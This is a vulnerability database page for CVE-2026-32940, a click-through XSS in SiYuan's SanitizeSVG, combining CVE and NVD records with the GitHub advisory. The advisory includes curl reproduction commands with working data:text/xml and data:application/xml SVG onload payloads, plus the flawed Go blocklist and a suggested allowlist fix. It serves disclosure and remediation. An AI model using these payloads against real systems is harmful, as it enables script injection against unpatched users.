CVE-2026-32940 (GCVE-0-2026-32940)

Vulnerability from cvelistv5 – Published: 2026-03-20 03:33 – Updated: 2026-03-20 19:53

Title

SiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)

Summary

SiYuan is a personal knowledge management system. In versions 3.6.0 and below, SanitizeSVG has an incomplete blocklist — it blocks data:text/html and data:image/svg+xml in href attributes but misses data:text/xml and data:application/xml, both of which can render SVG with JavaScript execution. The unauthenticated /api/icon/getDynamicIcon endpoint serves user-controlled input (via the content parameter) directly into SVG markup using fmt.Sprintf with no escaping, served as Content-Type: image/svg+xml. This creates a click-through XSS: a victim navigates to a crafted URL, sees an SVG with an injected link, and clicking it triggers JavaScript via the bypassed MIME types. The attack requires direct navigation to the endpoint or <object>/<embed> embedding, since <img> tag rendering in the frontend doesn't allow interactive links. This issue has been fixed in version 3.6.1.

Severity

9.3 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-20 19:52 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE-184 - Incomplete List of Disallowed Inputs

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/siyuan-note/siyuan/security/ad…	x_refsource_CONFIRM
https://github.com/siyuan-note/siyuan/commit/d01d…	x_refsource_MISC
https://github.com/advisories/GHSA-6865-qjcf-286f	x_refsource_MISC
https://github.com/siyuan-note/siyuan/releases/ta…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
siyuan-note	siyuan	Affected: < 3.6.1	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-32940

Vulnerability from fkie_nvd - Published: 2026-03-20 04:16 - Updated: 2026-06-17 10:36

Severity

9.3 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
6.1 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/advisories/GHSA-6865-qjcf-286f	Exploit, Third Party Advisory
security-advisories@github.com	https://github.com/siyuan-note/siyuan/commit/d01d561875d4f744e9f6232f1d4831e3642b8696	Patch
security-advisories@github.com	https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1	Release Notes
security-advisories@github.com	https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4mx9-3c2h-hwhg	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	b3log	siyuan	*

JSON

To clipboard

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          "product": "siyuan",
          "vendor": "siyuan-note",
          "versions": [
            {
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              "version": "\u003c 3.6.1"
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    {
      "lang": "en",
      "value": "SiYuan is a personal knowledge management system. In versions 3.6.0 and below, SanitizeSVG has an incomplete blocklist \u2014 it blocks data:text/html and data:image/svg+xml in href attributes but misses data:text/xml and data:application/xml, both of which can render SVG with JavaScript execution. The unauthenticated /api/icon/getDynamicIcon endpoint serves user-controlled input (via the content parameter) directly into SVG markup using fmt.Sprintf with no escaping, served as Content-Type: image/svg+xml. This creates a click-through XSS: a victim navigates to a crafted URL, sees an SVG with an injected link, and clicking it triggers JavaScript via the bypassed MIME types. The attack requires direct navigation to the endpoint or \u003cobject\u003e/\u003cembed\u003e embedding, since \u003cimg\u003e tag rendering in the frontend doesn\u0027t allow interactive links. This issue has been fixed in version 3.6.1."
    },
    {
      "lang": "es",
      "value": "SiYuan es un sistema de gesti\u00f3n de conocimiento personal. En las versiones 3.6.0 e inferiores, SanitizeSVG tiene una lista de bloqueo incompleta \u2014 bloquea data:text/html y data:image/svg+xml en atributos href pero omite data:text/xml y data:application/xml, ambos de los cuales pueden renderizar SVG con ejecuci\u00f3n de JavaScript. El endpoint no autenticado /API/icon/getDynamicIcon sirve entrada controlada por el usuario (a trav\u00e9s del par\u00e1metro content) directamente en el marcado SVG usando fmt.Sprintf sin escape, servido como Content-Type: image/svg+xml. Esto crea un XSS de clic: una v\u00edctima navega a una URL manipulada, ve un SVG con un enlace inyectado, y al hacer clic en \u00e9l se activa JavaScript a trav\u00e9s de los tipos MIME omitidos. El ataque requiere navegaci\u00f3n directa al endpoint o incrustaci\u00f3n de /, ya que la renderizaci\u00f3n de la etiqueta  en el frontend no permite enlaces interactivos. Este problema ha sido solucionado en la versi\u00f3n 3.6.1."
    }
  ],
  "id": "CVE-2026-32940",
  "lastModified": "2026-06-17T10:36:36.113",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 9.3,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.8,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.7,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-32940",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-03-20T19:52:53.104887Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-03-20T04:16:49.367",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://github.com/advisories/GHSA-6865-qjcf-286f"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/siyuan-note/siyuan/commit/d01d561875d4f744e9f6232f1d4831e3642b8696"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4mx9-3c2h-hwhg"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        },
        {
          "lang": "en",
          "value": "CWE-184"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-4MX9-3C2H-HWHG

Vulnerability from github – Published: 2026-03-17 14:08 – Updated: 2026-03-30 14:03

Summary

SiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)

Details

SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)

SanitizeSVG blocks data:text/html and data:image/svg+xml in href attributes but misses data:text/xml and data:application/xml. Both render SVG with onload JavaScript execution (confirmed in Chromium 136, other browsers untested).

/api/icon/getDynamicIcon is unauthenticated and serves SVG as Content-Type: image/svg+xml. The content parameter (type=8) gets embedded into the SVG via fmt.Sprintf with no escaping. The sanitizer catches data:text/html but data:text/xml passes the blocklist -- only three MIME types are checked.

This is a click-through XSS: victim visits the crafted URL, sees an SVG with an injected link, clicks it. If SiYuan renders these icons via <img> tags in the frontend, links aren't interactive there -- the attack needs direct navigation to the endpoint URL or <object>/<embed> embedding.

Steps to reproduce

Against SiYuan v3.6.0 (Docker):

# 1. data:text/xml bypass -- <a> element preserved with href intact
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">click</a><text>' \
  | grep -o '<a [^>]*>'
# Output: <a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">

# 2. data:text/html is correctly blocked -- href stripped
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><a href="data:text/html,<script>alert(1)</script>">click</a><text>' \
  | grep -o '<a [^>]*>'
# Output: <a>  (href removed)

# 3. data:application/xml also bypasses
curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \
  --data-urlencode 'type=8' \
  --data-urlencode 'content=</text><a href="data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E">click</a><text>' \
  | grep -o '<a [^>]*>'
# Output: <a href="data:application/xml,...">  (href preserved)

JS execution confirmed in Chromium 136 -- data:text/xml SVG onload fires and posts a message to the parent window via iframe test.

Vulnerable code

kernel/util/misc.go lines 289-293:

if strings.HasPrefix(val, "data:") {
    if strings.Contains(val, "text/html") || strings.Contains(val, "image/svg+xml") || strings.Contains(val, "application/xhtml+xml") {
        continue
    }
}

text/xml and application/xml aren't in the list. Both serve SVG with JS execution.

Impact

Reflected XSS on an unauthenticated endpoint. Victim visits the crafted URL, then clicks the injected link in the SVG. No auth needed to craft the URL.

Docker deployments where SiYuan is network-accessible are the clearest target -- the endpoint is reachable directly. In the Electron desktop app, impact depends on nodeIntegration/contextIsolation settings. Issue #15970 ("XSS to RCE") explored that path.

The deeper issue: the blocklist approach for data: URIs is fragile. text/xml and application/xml are the gap today, but other MIME types that render active content could surface. An allowlist of safe image types covers the known vectors and future MIME type additions.

Affected versions

v3.6.0 (latest, confirmed). All versions since SanitizeSVG was added to fix CVE-2026-29183.

Suggested fix

Flip the data: URI check to an allowlist -- only permit safe image types in href:

if strings.HasPrefix(val, "data:") {
    safe := strings.HasPrefix(val, "data:image/png") ||
            strings.HasPrefix(val, "data:image/jpeg") ||
            strings.HasPrefix(val, "data:image/gif") ||
            strings.HasPrefix(val, "data:image/webp")
    if !safe {
        continue
    }
}

If you prefer extending the blocklist, add at minimum: text/xml, application/xml, text/xsl, and multipart/ types.

Severity

9.3 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260313024916-fd6526133bb3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-17T14:08:11Z",
    "nvd_published_at": "2026-03-20T04:16:49Z",
    "severity": "CRITICAL"
  },
  "details": "# SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)\n\n`SanitizeSVG` blocks `data:text/html` and `data:image/svg+xml` in href attributes but misses `data:text/xml` and `data:application/xml`. Both render SVG with `onload` JavaScript execution (confirmed in Chromium 136, other browsers untested).\n\n`/api/icon/getDynamicIcon` is unauthenticated and serves SVG as `Content-Type: image/svg+xml`. The `content` parameter (type=8) gets embedded into the SVG via `fmt.Sprintf` with no escaping. The sanitizer catches `data:text/html` but `data:text/xml` passes the blocklist -- only three MIME types are checked.\n\nThis is a click-through XSS: victim visits the crafted URL, sees an SVG with an injected link, clicks it. If SiYuan renders these icons via `\u003cimg\u003e` tags in the frontend, links aren\u0027t interactive there -- the attack needs direct navigation to the endpoint URL or `\u003cobject\u003e`/`\u003cembed\u003e` embedding.\n\n## Steps to reproduce\n\nAgainst SiYuan v3.6.0 (Docker):\n\n```sh\n# 1. data:text/xml bypass -- \u003ca\u003e element preserved with href intact\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n  --data-urlencode \u0027type=8\u0027 \\\n  --data-urlencode \u0027content=\u003c/text\u003e\u003ca href=\"data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E\"\u003eclick\u003c/a\u003e\u003ctext\u003e\u0027 \\\n  | grep -o \u0027\u003ca [^\u003e]*\u003e\u0027\n# Output: \u003ca href=\"data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E\"\u003e\n\n# 2. data:text/html is correctly blocked -- href stripped\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n  --data-urlencode \u0027type=8\u0027 \\\n  --data-urlencode \u0027content=\u003c/text\u003e\u003ca href=\"data:text/html,\u003cscript\u003ealert(1)\u003c/script\u003e\"\u003eclick\u003c/a\u003e\u003ctext\u003e\u0027 \\\n  | grep -o \u0027\u003ca [^\u003e]*\u003e\u0027\n# Output: \u003ca\u003e  (href removed)\n\n# 3. data:application/xml also bypasses\ncurl -s --get \"http://127.0.0.1:6806/api/icon/getDynamicIcon\" \\\n  --data-urlencode \u0027type=8\u0027 \\\n  --data-urlencode \u0027content=\u003c/text\u003e\u003ca href=\"data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E\"\u003eclick\u003c/a\u003e\u003ctext\u003e\u0027 \\\n  | grep -o \u0027\u003ca [^\u003e]*\u003e\u0027\n# Output: \u003ca href=\"data:application/xml,...\"\u003e  (href preserved)\n```\n\nJS execution confirmed in Chromium 136 -- `data:text/xml` SVG `onload` fires and posts a message to the parent window via iframe test.\n\n## Vulnerable code\n\n`kernel/util/misc.go` lines 289-293:\n\n```go\nif strings.HasPrefix(val, \"data:\") {\n    if strings.Contains(val, \"text/html\") || strings.Contains(val, \"image/svg+xml\") || strings.Contains(val, \"application/xhtml+xml\") {\n        continue\n    }\n}\n```\n\n`text/xml` and `application/xml` aren\u0027t in the list. Both serve SVG with JS execution.\n\n## Impact\n\nReflected XSS on an unauthenticated endpoint. Victim visits the crafted URL, then clicks the injected link in the SVG. No auth needed to craft the URL.\n\nDocker deployments where SiYuan is network-accessible are the clearest target -- the endpoint is reachable directly. In the Electron desktop app, impact depends on `nodeIntegration`/`contextIsolation` settings. Issue #15970 (\"XSS to RCE\") explored that path.\n\nThe deeper issue: the blocklist approach for data: URIs is fragile. `text/xml` and `application/xml` are the gap today, but other MIME types that render active content could surface. An allowlist of safe image types covers the known vectors and future MIME type additions.\n\n## Affected versions\n\nv3.6.0 (latest, confirmed). All versions since `SanitizeSVG` was added to fix CVE-2026-29183.\n\n## Suggested fix\n\nFlip the data: URI check to an allowlist -- only permit safe image types in href:\n\n```go\nif strings.HasPrefix(val, \"data:\") {\n    safe := strings.HasPrefix(val, \"data:image/png\") ||\n            strings.HasPrefix(val, \"data:image/jpeg\") ||\n            strings.HasPrefix(val, \"data:image/gif\") ||\n            strings.HasPrefix(val, \"data:image/webp\")\n    if !safe {\n        continue\n    }\n}\n```\n\nIf you prefer extending the blocklist, add at minimum: `text/xml`, `application/xml`, `text/xsl`, and `multipart/` types.",
  "id": "GHSA-4mx9-3c2h-hwhg",
  "modified": "2026-03-30T14:03:47Z",
  "published": "2026-03-17T14:08:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4mx9-3c2h-hwhg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32940"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/commit/d01d561875d4f744e9f6232f1d4831e3642b8696"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6865-qjcf-286f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan has a SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-32940 (GCVE-0-2026-32940)

FKIE_CVE-2026-32940

GHSA-4MX9-3C2H-HWHG

SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)

Steps to reproduce

Vulnerable code

Impact

Affected versions

Suggested fix

Tags

Sightings

Nomenclature

Related by attack behaviour